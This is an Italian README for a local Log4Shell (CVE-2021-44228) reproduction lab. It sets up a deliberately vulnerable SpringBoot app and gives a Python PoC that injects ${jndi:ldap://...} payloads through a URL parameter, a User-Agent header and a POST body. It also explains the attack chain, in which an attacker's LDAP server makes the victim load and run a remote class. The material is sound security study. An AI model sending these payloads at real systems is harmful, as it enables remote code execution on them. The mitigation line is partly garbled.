
CVE-2021-44228 (Log4Shell) campo di riproduzione della vulnerabilità | SpringBoot + Log4j2 2.14.1 | Verifica PoC con 3 vettori di attacco
⚠️ Disclaimer: Questo progetto è destinato esclusivamente all'apprendimento della sicurezza e alla ricerca tecnica. Tutti gli ambienti vulnerabili sono configurati localmente e non è stato testato alcun target reale. Non utilizzarlo per scopi illegali; l'uso di questo progetto è a proprio rischio.
Log4j2 è il framework di logging più utilizzato nell'ecosistema Java. Dispone di una funzionalità Lookup che consente di inserire contenuti dinamici nei log tramite la sintassi ${...}. Nelle versioni 2.14.1 e precedenti, quando il contenuto del log contiene ${jndi:...}, Log4j2 invia automaticamente una richiesta JNDI all'indirizzo specificato, consentendo a un attaccante di eseguire codice remoto (RCE).
Questa vulnerabilità è identificata come CVE-2021-44228, con punteggio CVSS 10.0 (massimo). Le condizioni di attivazione sono estremamente semplici, colpisce quasi tutte le applicazioni Java che utilizzano Log4j2 e il costo di sfruttamento è molto basso.
Prerequisiti: JDK 8+, Maven, Python 3, libreria requests
Passo 1: Avviare il laboratorio vulnerabile
Aprire il progetto con IDEA ed eseguire VulnApplication.java. L'output seguente indica che l'avvio è riuscito:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
Passo 2: Eseguire lo script PoC
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
Iniettare il payload tramite parametro URL, attivando logger.info("User Login: {}", username):
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
Iniettare il payload tramite header HTTP, attivando logger.info("User-Agent: {}", headers):
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
Iniettare il payload tramite corpo della richiesta POST, attivando logger.info("Data: {}", body):
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] Connessione ricevuta! Da 127.0.0.1:51631
[+] Vulnerabilità confermata! Log4j2 ha inviato una richiesta JNDI
[+] CVE-2021-44228 riprodotta con successo
Il listener riceve una connessione TCP dal laboratorio, dimostrando che Log4j2 ha analizzato ${jndi:...} e ha inviato una richiesta LDAP, confermando l'esistenza della vulnerabilità.
La funzionalità Lookup di Log4j2 consente di inserire contenuti dinamici nei log tramite la sintassi ${...}, ad esempio ${env:PATH} per leggere variabili d'ambiente o ${sys:user.dir} per leggere proprietà di sistema.
JNDI (Java Naming and Directory Interface) è l'interfaccia di naming e directory di Java: dato un indirizzo, esegue una ricerca e restituisce il risultato. Se il risultato è una classe Java, la JVM la carica ed esegue automaticamente.
① L'attaccante inserisce nel campo di input: ${jndi:ldap://IP_attaccante:1389/EvilClass}
↓
② Il sito riceve l'input e registra il log con logger.info()
↓
③ Log4j2 analizza il contenuto del log e rileva ${jndi:ldap://...}
↓
④ Log4j2 invia una richiesta LDAP → si connette al server dell'attaccante
↓
⑤ Il server LDAP dell'attaccante risponde: "Scarica EvilClass.class da questo indirizzo"
↓
⑥ Il server vittima scarica e carica la classe EvilClass
↓
⑦ Il blocco di codice static di EvilClass viene eseguito automaticamente → RCE (Remote Code Execution)
-Dlog4j2.formatMsgNoLookups=true ai parametri di avvio${jndi:log4j2-vuln-lab/
├── pom.xml # Configurazione Maven, specifica la versione vulnerabile Log4j2 2.14.1
├── exploit/
│ └── exploit.py # Script PoC, 3 vettori di attacco + verifica tramite listener TCP
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # Classe di avvio SpringBoot
│ └── controller/
│ └── UserController.java # 3 punti di iniezione vulnerabili (parametro GET/header UA/corpo POST)
└── resources/
├── application.yml # Configurazione porta + livello di logging
└── log4j2.xml # File di configurazione Log4j2